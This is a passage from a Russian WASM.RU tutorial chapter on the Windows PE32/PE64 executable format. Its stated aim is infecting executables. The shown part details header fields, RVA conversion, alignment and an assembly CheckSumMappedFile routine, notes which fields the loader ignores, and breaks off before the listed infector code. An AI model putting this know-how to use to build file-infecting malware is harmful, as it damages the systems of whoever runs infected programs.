От зеленого к красному: Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов. — Архив WASM.RU
Содержание
- “От зеленого к красному”.
- Глава 2: Формат исполняемого файла ОС Windows. PE32 и PE64. Способы заражения исполняемых файлов.
- DOS-MZ заголовок.
- Файловый заголовок.
- Опциональный заголовок. 8
- Таблица секций.
- Базовые поправки.
- Программа PE Inside Console Version.
- Программа PEInsidev0.5alfa.
- PE64.
- Домашнее задание.
- Способы внедрения внутрь исполняемого файла.
- Поиск файлов.
- Проверка PE-файла на правильность.
- Способ 1. Внедрение в заголовок.
- Получение важных частей отображения.
- Переход на старый AddressOfEntryPoint
- Код инфектора.
- Способ 2. Запись в конец последней секции.
- Итоговый размер файла.
- Код инфектора.
- Способ 3. Добавление новой секции.
- Код инфектора.
- Способ 4. Удаление базовых поправок.
- Продвинутые приемы при заражении PE-файлов.
- Резюме.
В этой главе мы исследуем формат исполняемых файлов в операционной системе Windows. Все факты, которые будут касаться этого изложения подходят для ОС WindowsXPcустановленным SP2. Но большинство фактов распространяются на всю платформу Win32. Я буду рассматривать все поля PE-формата полностью. Я привожу здесь описания используемых структур, для того чтобы Вы могли использовать этот документ и как справочник.
Формат PE(PortableExecutable) – это переносимый исполняемый формат файлов. Переносимым он является потому, что он единственный для всех операционных систем Windows(9x,NT). Есть форматы и другие, но для платформы Win32 этот формат является единственным.
PE-формат впервые был использован в ОС Windows3.1. Он был стандартизирован в 1993 году и базируется на формате COFF(CommonObjectFileFormat), который использовался в нескольких UNIXи VMS. Приступим, сначала рассмотрим общий вид PE-файла, чтобы Вы имели представление о нем.
Общий вид PE-файла
PE-файл в самом своем начале содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2 она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS. Эта структура определена так:
Код (Text):
typedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader; }Почти все определения структур PE-файла Вы можете узнать из заголовочного файла WINNT.H, который поставляется вместе с какой-нибудь средой программирования.
Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение IMAGE_NT_SIGNATURE. Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. Мы рассмотрим файловый заголовок в соответствующем разделе. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. В конце опционального заголовка содержится массив элементов DataDirectory. Он служит для доступа к некоторым сущностям, которые могут быть секциями (о секциях далее), а могут и не быть. В общем случае эти сущности называются – директориями. После опционального заголовка начинается таблица секций. В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не измениться (если там не присутствует проверка контрольной суммы etc.). Вы можете посмотреть, как выглядит PE-файл на рисунке, тогда Вы поймете, о чем я говорил в этом разделе:
Терминология применимая для файлов PE-формата
Секция – непрерывный набор страниц памяти с одинаковыми атрибутами. Бывают секции кода, данных, ресурсов и т.д. Обычно данные делятся на секции, если предполагается, что они будут использоваться одинаковым образом, т.е. например, только для чтения или только для записи. Также, данные могут делиться на секции в зависимости от того, что, представляют из себя, эти данные, например ресурсы или таблица импорта. В общем случае может быть, например 12 секций с одинаковыми атрибутами, и используемые для кода. Мы вправе сами создавать секции, указывая это компиляторам. С другой стороны секция это отдельная сущность PE-файла. Вы только прочтите, что пишут Microsoftв спецификации PE/COFFформата, что такое секция:
«A section is the basic unit of code or data within a PE/COFF file. In an object file, for example, all code can be combined within a single section, or (depending on compiler behavior) each function can occupy its own section. With more sections, there is more file overhead, but the linker is able to link in code more selectively. A section is vaguely similar to a segment in Intel 8086 architecture. All the raw data in a section must be loaded contiguously. In addition, an image file can contain a number of sections, such as .tls or .reloc, that have special purposes»
Прочтите внимательно, Microsoft – звери хитрые, просто так писать ничего не будут, да и НЕ писать тоже. Хотя, время текет и все устаревает.
VA (Virtual Address) – виртуальный адрес. Адрес в адресном пространстве текущего процесса.
RVA (RelativeVirtualAddress) – относительный виртуальный адрес. При загрузке PE-файла, ОС использует механизм файлового мэппинга(FileMapping). Т.е. она проецирует данный exe, dll, sys или scrфайл по какому-то адресу в виртуальном адресном пространстве. Адрес начала проекции называется базовым адресом в памяти данного exe, dll, sys или scrфайла. А смещение относительно базового адреса называется – относительным виртуальным адресом. Например, EXE-файл спроецирован по адресу 400000H. Тогда если PE-заголовок находиться по адресу 4000E0H, то RVAPE-заголовка будет E0. В PE-заголовке очень много параметров указываются через RVA. А если RVAначала инструкций в файле есть 1000H, то виртуальный адрес будет равен 401000H учитывая, что база 400000H. Чтобы посчитать относительный виртуальный адрес по данному виртуальному адресу используется следующая формула:
(1) RVA = VA - IMAGE_OPTIONAL_HEADER.ImageBase
Иногда возникает необходимость посчитать файловое смещение соответствующее VAили RVA. Если требуется смещение внутри секции, используется следующая формула:
(2) offset = RVA – IMAGE_SECTION_HEADER.VirtualAddress + IMAGE_SECTION_HEADER.PointerRawData
Если смещение находится вне секции, т.е. в заголовке, таблице секций или еще где-нибудь, то естественно файловое смещение равно RVA. Вот код функции, которая возвращает файловое смещение в зависимости от RVA:
Код (Text):
//Base - файл проецируется в память, это его база //RVA - значение, которое нужно преобразовать в Offset DWORD RVAtoOffset(DWORD Base,DWORD RVA) { PIMAGE_NT_HEADERS pPE=(PIMAGE_NT_HEADERS)((long)Base+((PIMAGE_DOS_HEADER)Base)-»e_lfanew); short NumberOfSection=pPE-»FileHeader.NumberOfSections; long SectionAlign=pPE-»OptionalHeader.SectionAlignment; PIMAGE_SECTION_HEADER Section=(PIMAGE_SECTION_HEADER) (pPE-»FileHeader.SizeOfOptionalHeader+(long)& (pPE-»FileHeader)+sizeof(IMAGE_FILE_HEADER)); long VirtualAddress,PointerToRawData; bool flag=false; for (int i=0;i«NumberOfSection;i++) { if ((RVA>=(Section-»VirtualAddress))&& (RVA«Section-»VirtualAddress+ ALIGN_UP((Section-»Misc.VirtualSize),SectionAlign) )) { VirtualAddress=Section-»VirtualAddress; PointerToRawData=Section-»PointerToRawData; flag=true; break; } Section++; } if (flag) return RVA-VirtualAddress+PointerToRawData; else return RVA; }Макрос ALING_UP определен при описании параметра SectionAlignment в опциональном заголовке. Кстати, с помощью CreateFileMapping можно спроецировать файл как PE, т.е. кусками по секциям, а не как сплошной файл. Это делается так:
Код (Text):
HANDLE hFile=CreateFile("c:\\regedit.exe",GENERIC_WRITE | GENERIC_READ,FILE_SHARE_WRITE, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); HANDLE hMapping=CreateFileMapping(hFile,NULL,PAGE_READWRITE | SEC_IMAGE,0,0,NULL); HANDLE hMap=MapViewOfFile(hMapping,FILE_MAP_ALL_ACCESS,0,0,0);Параметр SEC_IMAGEуказывает, что проецировать файл надо как исполняемый. Естественно мы будем только так проецировать файлы при заражении, чтобы не высчитывать соответствий смещения в файле и RVA.
IAT – таблица адресов импорта. Массив двойных слов, содержащие RVA импортируемых функций.
INT – таблица импортируемых имен. Массив двойных слов, каждое из которых является RVA на ASCIIZ-строку с импортируемой функцией.
DOS-MZзаголовок
В начале файла располагается DOS-MZзаголовок. Он определен следующим образом:
Код (Text):
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADERВсе что нас интересует здесь - это только одно значение - e_lfanew. Это двойное слово является RVAи указывает на структуру IMAGE_NT_HEADERS. Размер DOS-MZ заголовка составляет 80 байт.
Файловый заголовок
Файловый заголовок находиться в PE-файле сразу же после сигнатуры IMAGE_NT_SIGNATURE. В файле WINNT.Hона определена как 00004550H. Файловый заголовок содержит наиболее общую информацию о данном файле. В файле WINNT.H файловый заголовок определен следующим образом:
Код (Text):
typedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics; } IMAGE_FILE_HEADER;Давайте рассмотрим по порядку данные поля.
WORDMachine;
Два байта содержащие платформу, для которой создавался данный PE-файл. Возможные значения приведены ниже.
Код (Text):
#define IMAGE_FILE_MACHINE_UNKNOWN 0 #define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. #define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian #define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian #define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian #define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2 #define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP #define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian #define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian #define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian #define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian #define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian #define IMAGE_FILE_MACHINE_THUMB 0x01c2 #define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 #define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS #define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS #define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS #define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 #define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64 #define IMAGE_FILE_MACHINE_CEF 0xC0EFОС Windows поддерживает только две архитектуры и все они - процессоров Intel– IA-32, IA-64. Исходя из этого, только два значения считаются корректными в PE-файле IMAGE_FILE_MACHINE_IA64 и IMAGE_FILE_MACHINE_I386. Если Вы подставите чего-либо другое, загрузчик откажется загружать данный файл. Да и то для 32х разрядных операционных систем (т.е. работающих с 32х разрядными процессорами) – значение единственное - IMAGE_FILE_MACHINE_I386. Очень интересно еще и то, что в официальной спецификации о некоторых значениях просто умалчивается, просто умалчивается и все!
WORD NumberOfSections;
Количество секций в PE-файле. Значение должно быть верным. Фактически означает число элементов в таблице секций.
DWORD TimeDateStamp;
Информация о времени, когда был собран данный PE-файл. Это значение равно количеству секунд прошедших с 1 января 1970 года до времени создания файла. В стандартной библиотеке Си есть замечательная функция gmtime, которая переводит время из секунд в удобочитаемый вид. Она берет указатель на DWORD – количество секунд и заполняет структуру tm, определенную в time.h. Эта структура выглядит следующим образом:
Код (Text):
struct tm { int tm_sec; /* Секунды */ int tm_min; /* Минуты */ int tm_hour; /* Часы (0--23) */ int tm_mday; /* День месяца (1--31) */ int tm_mon; /* Месяц (0--11) */ int tm_year; /* Год (минус 1900) */ int tm_wday; /* День недели (0--6; Sunday = 0) */ int tm_yday; /* День года (0--365) */ int tm_isdst; /* связано с переход на летнее время */ };Чтобы узнать какой дате это число соответствует, используйте следующую функцию
Код (Text):
void printTimeStamp(DWORD x) { struct tm* Time=gmtime((const long *)&x); printf("Year:%d\nMonth:%d\nDay:%d\n",Time-»tm_year+1900,Time-»tm_mon,Time-»tm_mday); }X – значение поля TimeDateStamp. Чтобы использовать данную функцию необходимо подключить заголовочный файл time.h.
DWORD PointerToSymbolTable;
Указатель на COFF-таблицу символов PE-формата. Эту же информацию можно найти в элементе массива DataDirectoryс индексом IMAGE_DIRECTORY_ENTRY_DEBUG. Если Вы вдруг не знали, то отладочная информация нужна только для отладчика. Отсюда следует, что мы может размещать в этом поле любое значение.
DWORD NumberOfSymbols;
Количество символов в COFF-таблице символов. Может принимать любое значение.
WORD SizeOfOptionalHeader;
Размер опционального заголовка. Опциональный заголовок следует сразу же за файловым заголовком. Размер опционального заголовка зависит от массива DataDirectory, а именно от количества элементов в нем. Обычно в нем 16 элементов, но могут быть и неожиданности. Это поле проверяется загрузчиком и должно быть правильным.
WORD Characteristics;
Характеристики – это атрибуты специфичные для данного PE-файла. Поле Characteristics 16 битное поле и каждый установленный бит представляет из себя отдельный флаг. Знаете, я не ленив, и опишу все возможные флаги подробно. Конечно, большинство из них не используются в данное время, ведь PE-формат был создан в 1993 году. С этого времени много вещей стали не важны. Но это информация общеобразовательная. Прочитайте, если Вы хотите быть более гибки в области операционных систем.
Определены следующие значения:
#define IMAGE_FILE_fS_STRIPPED 0x0001
В файле отсутствует информация о базовых поправках. Этот флаг не используется в исполняемых файлах. Вместо этого информация о базовых поправках храниться в каталоге, на который указывает элемент в массиве DataDirectory с индексом IMAGE_DIRECTORY_ENTRY_BASERELOC.
#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002
Файл является исполняемым (т.е. не содержит нераспознанных внешних ссылок). Если файл является исполняемым, то он не является объектным файлом или библиотекой.
#define IMAGE_FILE_LINE_NUMS_STRIPPED 0x0004
В файле отсутствуют номера строк. Это значение не используется в исполняемых файлах.
#define IMAGE_FILE_LOCAL_SYMS_STRIPPED 0x0008
Локальные символы отсутствуют в файле. Это значение не используется в исполняемых файлах.
#define IMAGE_FILE_AGGRESIVE_WS_TRIM 0x0010
Этот флаг установлен, если операционная система ограничивает программу памятью, агрессивно сбрасывая данные приложения в страничный файл. Этот флаг устанавливается для приложений, которые большую часть своего времени ждут, лишь очень редко пробуждаясь.
#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020
Флаг, чтобы приложение могла работать с объемом памяти больше 2 или 3 Гб (в зависимости от загрузочного параметра).
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080
и
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000
Эти флаги устанавливаются если порядок байт в конце файла, отличен от порядка байт для текущей архитектуры. Т.к. порядок байт в процессорах Intelодинаковый, то этот параметр в данное время не используется.
#define IMAGE_FILE_32BIT_MACHINE 0x0100
Этот флаг установлен, если предполагается, что машина 32- разрядная. Вероятно, если файл будет собран при помощи 64-разраного линкера, то этот флаг не будет установлен.
#define IMAGE_FILE_DEBUG_STRIPPED 0x0200
Отладочная информация отсутствует в файле. Этот параметр не используется для исполняемых файлов.
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400
Этот флаг установлен, если приложение может не запуститься с переносного носителя, дискеты или CD-ROM. В этом случае ОС переносит данные исполняемый файл в файл подкачки и считывает его оттуда. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на подобном съемном носителе.
#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800
Флаг установлен, если приложение может не запуститься по сети. Но этот флаг в данный момент избыточен, т.к. ОС сама переносит исполняемый файл в файл подкачки, если он находиться на общем сетевом ресурсе.
#define IMAGE_FILE_SYSTEM 0x1000
Этот флаг установлен, если данный файл является системным, подобно драйверу. В настоящее время не используется.
#define IMAGE_FILE_DLL 0x2000
Данный файл – это динамически подключаемая библиотека(DinamicLinkLibrary). Каждая DLLобязана иметь этот флаг, иначе она не загрузиться. Этот флаг может использоваться EXE, и при этом быть корректным исполняемым файлом.
#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000
Этот флаг установлен, если приложение не предназначено для многопроцессорных платформ.
Главные поля в файловом заголовке – это количество секций и размер опционального заголовка. Остальные нужны очень редко или не нужны вовсе.
Опциональный заголовок
В опциональном заголовке храниться более специфическая информация о приложении и его потребностях. Я не хочу утомлять Вас, но если Вы это читаете, то будьте добры читать все. Здесь я опишу все поля опционального заголовка. В любом случае тонкости PE-формата нам пригодятся. А где пригодятся, Вы узнаете в этой главе. Следите внимательно.
В WINNT.Hопциональный заголовок – это структура IMAGE_OPTIONAL_HEADER. Она определена следующим образом:
Код (Text):
typedef struct _IMAGE_OPTIONAL_HEADER { // // Стандартные поля // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // дополнительные поля NT // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;Как Вы уже, наверное, заметили, опциональный заголовок абстрактно делится на две части: стандартные поля и дополнительные поля NT. Естественно на реализации это деление не отражается. Рассмотрим поля по порядку. Кстати, опциональный заголовок так называется, потому что, если рассматривать в общем стандарт PE/COFF файлов, то для объектных файлов COFF-формата он отсутствует. Для исполняемых файлов этот заголовок является обязательным. А то некоторые авторитетные товарищи удивляются, почему этот заголовок называется опциональным. А это написано черным по белому в спецификации MicrosoftPE-формата. Размер опционального заголовка не является фиксированным и чтобы узнать его надо обратиться к файловому заголовку.
WORD Magic;
Это слово служит, чтобы проверить для какой версии спецификации PE этот опциональный заголовок. Возможныезначения:
#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b
Для спецификации PE32
#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b
Для спецификации PE64
#define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107
Если исполняемый файл после проекции его загрузчиком будет только для чтения. Не используется в настоящее время.
Для 32х разрядных ОС есть одно возможное значение - IMAGE_NT_OPTIONAL_HDR32_MAGIC
BYTE MajorLinkerVersion;
Старшее слово версии линковщика, создавшего данный файл. Может быть любым.
BYTE MinorLinkerVersion;
Младшее слово версии линковщика, создавшего данный файл. Может быть любым.
DWORD SizeOfCode;
Размер секции кода или сумма всех секций кода. В WindowsXPSP2 может быть любым, на остальных ОС надо тестировать отдельно, но, скорее всего, дело обстоит точно также. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.
DWORD SizeOfInitializedData;
Размер секции с инициализированными данными. То же самое, что и с прошлым параметром.
DWORD SizeOfUninitializedData;
Размер секции с неинициализированными данными. То же самое, что и с прошлым параметром.
DWORD AddressOfEntryPoint;
Адрес, с которого начинают считываться инструкции для выполнения. Адрес является RVA. Чтобы указать на адрес ниже базового можно использовать отрицательные значения, т.е. в дополнительном коде. По-другому это называется - целочисленное переполнение.
DWORD BaseOfCode;
RVAоткуда начинаются секция(и) кода исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками. Но если это значение неправильное это может вызвать подозрение у разных отладчиков etc.
DWORD BaseOfData;
RVAоткуда начинаются секция(и) данных исполняемого файла. Может быть любым значением, т.к. не используются загрузчиками.
DWORD ImageBase;
При запуске PE-файла он будет отображен по частям, начиная с некоторого адреса в памяти. Адрес отображения называется базовым адресом для данного файла. В данном поле храниться базовый адрес PE-файла. Этот файл естественно является VA. От него отсчитываются все RVA. Еcли файл не загружается по каким-то причинам (по этому адресу помять уже зарезервирована) по данному адресу, то загрузчику необходимо применять базовые поправки. Обычно файл загружается по базовому адресу и базовые поправки не нужны. Это позволяет использовать базовые поправки в своих целях. Для компоновщиков, по умолчанию устанавливается базовый адрес 400000H.
DWORD SectionAlignment;
Секция при загрузке PE-файла в память будет начинаться с адреса кратного данной величине. Вот ограничения данного поля. 1) Это значение представляет собой степень двойки. 2) SectionAlignment>=FileAlignment. Пусть нам дано значение адреса. Нам надо получить выровненное значение в соответствии с выравниванием. Для этого можно использовать следующую формулу:
(3) z = (x + (y-1))&(~(y-1))
,где x – выравниваемое значение, y– выравнивающий фактор.
Посмотрите на пример функции, которое выравнивает вверх нужное значение:
Код (Text):
;######################################## ;Процедура GetAlignUP ;Получение выровненного-вверх значения ;Вход: esi - значение для выравнивания ; edi - выравнивающий фактор ;Выход:eax - выровненное значение ;######################################## GetAlignUp proc push esi push edi dec edi add esi,edi not edi and esi,edi mov eax,esi pop edi pop esi ret GetAlignUp endp ;######################################## ;Конец процедуры GetAlignUP ;########################################</code></pre> <p>Вот процедура, которая выравнивает вниз нужное значение:</p> <p><code><pre> ;######################################## ;Процедура GetAlignDown ;Получение выровненного-вниз значения ;Вход: esi - значение для выравнивания ; edi - выравнивающий фактор ;Выход:eax - выровненное значение ;######################################## GetAlignDown proc push esi push edi dec edi not edi and esi,edi mov eax,esi pop edi pop esi ret GetAlignDown endp ;######################################## ;Конец процедуры GetAlignDown ;########################################А вот макросы на Си делающие то же самое:
Код (Text):
#define ALIGN_DOWN(x, align) (x & ~(align-1))//выравнивание вниз #define ALIGN_UP(x, align) ((x & (align-1))?ALIGN_DOWN(x,align)+align:x) //выравнивание вверхDWORD FileAlignment;
Эта величина соответствует смещению секций в файле. Размер каждой секции кратен данной величине. Вот ограничения данного поля: 1) Это значение представляет собой степень двойки. 2) Должно быть между 200Hи 10000H. 3) SectionAlignment>=FileAlignment. Вы также можете использовать функцию GetAlignдля получения выровненного значения.
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
Версия ОС, для которой данный файл предназначен. Совершенно никем не проверяемое поле. Может быть любым, но лучше чтобы не нулевое, а то кто-то ругался (привет HardWisdom!)
WORD MajorImageVersion;
WORD MinorImageVersion;
Это поле специально для того, чтобы программист создающий программу мог указать версию исполняемого образа. Может быть любым.
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
Поле содержит самую старую версию подсистемы, позволяющую запускать данный файл. Должно быть правильным.
DWORD Win32VersionValue;
Зарезервировано. Может быть любым.
DWORD SizeOfImage;
Содержит общий размер всех частей отображения. Важно, что загрузчик проверяет значение этого поля по следующей формуле:
(4) SizeOfImage = VirtualSize + VirtualAddress
DWORD SizeOfHeaders;
Размер заголовков. Вычисляется по формуле
(5) SizeOfHeaders = DOS Stub + PE Header + Object Table
Кратно значению FileAlignment. Должно быть корректным.
DWORD CheckSum;
Контрольная сумма образа файла. Для обычных исполняемых файлов контрольная сумма не проверяется, т.е. может быть любой. Если она нулевая, то она тоже может быть любой. Для всех системных DLLдолжна быть корректная. Алгоритм контрольной суммы не является закрытым как говорят некоторые. Чтобы получить контрольную сумму данного исполняемого файла надо вызвать функцию CheckSumMappedFile с соответствующими параметрами. Эта функция доступна из библиотеки imagehlp.dll. В этой библиотеке содержится набор функций чтобы работать с PE-файлами. Но нам с Вами эти дурацкие библиотеки не нужны, т.к. мы делаем все вручную (почти все ). Научитеcь делать сначала вручную, потом используйте свои библиотеки и свой очень компактный, и очень маленький код. Библиотека imagehlp.dll входит в состав ОС и прототипы соответствующих функций содержатся в Imagehlp.h. В статье «Make your own CheckSumMappedFile» by Bumblebee/29a обсуждается, как сделать свою функцию CheckSumMappedFile, но, к сожалению, то что сделал Bumblebee не работает :( Я подправил его код и получилась рабочая функция. Ниже в листинге приведена функция и пример ее использования.
Код (Text):
;########################################################### ; ; Реализация собственной функции CheckSumMappedFile ; ;########################################################### .386 option casemap:none .model flat,stdcall include \tools\masm32\include\windows.inc includelib \tools\masm32\lib\kernel32.lib include \tools\masm32\include\kernel32.inc .data hFile dd 0 hMapping dd 0 hMap dd 0 Name1 db "C:\\kernel32.dll",0 HeaderSum dd 0fffh CheckSum dd 0 .code start: invoke CreateFile,offset Name1,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_WRITE, NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL mov hFile,eax invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL mov hMapping,eax invoke MapViewOfFile,hMapping,FILE_MAP_ALL_ACCESS,0,0,0 mov hMap,eax invoke GetFileSize,hFile,NULL push offset CheckSum push offset HeaderSum push eax push hMap call CheckSumMappedFile ; Вычисление контрольной суммы ;после этого вызова в eax - окажется контрольная сумма файла с именем Name1 invoke ExitProcess,0 CheckSumMappedFile:;код самой функции assume fs:nothing mov eax, dword ptr fs:[00000000] push ebp mov ebp, esp push -00000001 push 7D6C61C0h push 7D6C4598h push eax mov eax, dword ptr [ebp+10h] mov dword ptr fs:[00000000], esp sub esp, 00000010h push ebx push esi push edi xor esi, esi mov dword ptr [ebp-18h], esp mov dword ptr [eax], esi mov eax, dword ptr [ebp+0Ch] ;размер файла inc eax shr eax, 1 push eax push dword ptr [ebp+08h] push esi call func0 mov word ptr [ebp-1Ah], ax mov dword ptr [ebp-04h], esi mov eax,dword ptr [ebp+08h] assume eax:ptr IMAGE_DOS_HEADER mov ecx,dword ptr [eax].e_lfanew add eax,ecx mov dword ptr [ebp-20h], eax jmp saltito0 mov eax, 00000001 ret mov esp, dword ptr [ebp-18h] mov dword ptr [ebp-20h], 00000000 saltito0: mov dword ptr [ebp-04h], 0FFFFFFFFh cmp dword ptr [ebp-20h], 000000000h je saltito1 mov eax, dword ptr [ebp+08h] cmp dword ptr [ebp-20h], eax je saltito1 mov esi, dword ptr [ebp-20h] mov ecx, dword ptr [ebp+10h] add esi, 00000058h mov edx, 00000001h mov eax, dword ptr [esi] mov dword ptr [ecx], eax mov ecx, edx mov ax, word ptr [esi] cmp word ptr [ebp-1Ah], ax adc ecx, -00000001 sub word ptr [ebp-1Ah], cx sub word ptr [ebp-1Ah], ax mov ax, word ptr [esi+02h] cmp word ptr [ebp-1Ah], ax adc edx, -00000001 sub word ptr [ebp-1Ah], dx sub word ptr [ebp-1Ah], ax saltito1: movzx ecx, word ptr [ebp-1Ah] add ecx, dword ptr [ebp+0Ch] mov eax, dword ptr [ebp+14h] pop edi pop esi pop ebx mov dword ptr [eax], ecx mov eax, dword ptr [ebp-20h] mov ecx, dword ptr [ebp-10h] mov dword ptr fs:[00000000], ecx mov esp, ebp pop ebp ret 0010h func0: push esi mov ecx, dword ptr [esp+10h] mov esi, dword ptr [esp+0Ch] mov eax, dword ptr [esp+08h] shl ecx, 1 je func0_saltito0 test esi, 00000002 je func0_saltito1 sub edx, edx mov dx, word ptr [esi] add eax, edx adc eax, 00000000 add esi, 00000002 sub ecx, 00000002 func0_saltito1: mov edx, ecx and edx, 00000007 sub ecx, edx je func0_saltito2 test ecx, 00000008 je func0_saltito3 add eax, dword ptr [esi] adc eax, dword ptr [esi+04h] adc eax, 00000000 add esi, 00000008 sub ecx, 00000008 je func0_saltito2 func0_saltito3: test ecx, 00000010h je func0_saltito4 add eax, dword ptr [esi] adc eax, dword ptr [esi+04h] adc eax, dword ptr [esi+08h] adc eax, 00000000h add esi, 00000010h sub ecx, 00000010h je func0_saltito2 func0_saltito4: test ecx, 00000020h je func0_saltito5 add eax, dword ptr [esi] adc eax, dword ptr [esi+04h] adc eax, dword ptr [esi+08h] adc eax, dword ptr [esi+0Ch] adc eax, dword ptr [esi+10h] adc eax, dword ptr [esi+14h] adc eax, dword ptr [esi+18h] adc eax, dword ptr [esi+1Ch] adc eax, 00000000h add esi, 00000020h sub ecx, 00000020h je func0_saltito2 func0_saltito5: test ecx, 00000040h je func0_saltito6 add eax, dword ptr [esi] adc eax, dword ptr [esi+04h] adc eax, dword ptr [esi+08h] adc eax, dword ptr [esi+0Ch] adc eax, dword ptr [esi+10h] adc eax, dword ptr [esi+14h] adc eax, dword ptr [esi+18h] adc eax, dword ptr [esi+1Ch] adc eax, dword ptr [esi+20h] adc eax, dword ptr [esi+24h] adc eax, dword ptr [esi+28h] adc eax, dword ptr [esi+2Ch] adc eax, dword ptr [esi+30h] adc eax, dword ptr [esi+34h] adc eax, dword ptr [esi+38h] adc eax, dword ptr [esi+3Ch] adc eax, 00000000h add esi, 00000040h sub ecx, 00000040h je func0_saltito2 func0_saltito6: add eax, dword ptr [esi] adc eax, dword ptr [esi+04h] adc eax, dword ptr [esi+08h] adc eax, dword ptr [esi+0Ch] adc eax, dword ptr [esi+10h] adc eax, dword ptr [esi+14h] adc eax, dword ptr [esi+18h] adc eax, dword ptr [esi+1Ch] adc eax, dword ptr [esi+20h] adc eax, dword ptr [esi+24h] adc eax, dword ptr [esi+28h] adc eax, dword ptr [esi+2Ch] adc eax, dword ptr [esi+30h] adc eax, dword ptr [esi+34h] adc eax, dword ptr [esi+38h] adc eax, dword ptr [esi+3Ch] adc eax, dword ptr [esi+40h] adc eax, dword ptr [esi+44h] adc eax, dword ptr [esi+48h] adc eax, dword ptr [esi+4Ch] adc eax, dword ptr [esi+50h] adc eax, dword ptr [esi+54h] adc eax, dword ptr [esi+58h] adc eax, dword ptr [esi+5Ch] adc eax, dword ptr [esi+60h] adc eax, dword ptr [esi+64h] adc eax, dword ptr [esi+68h] adc eax, dword ptr [esi+6Ch] adc eax, dword ptr [esi+70h] adc 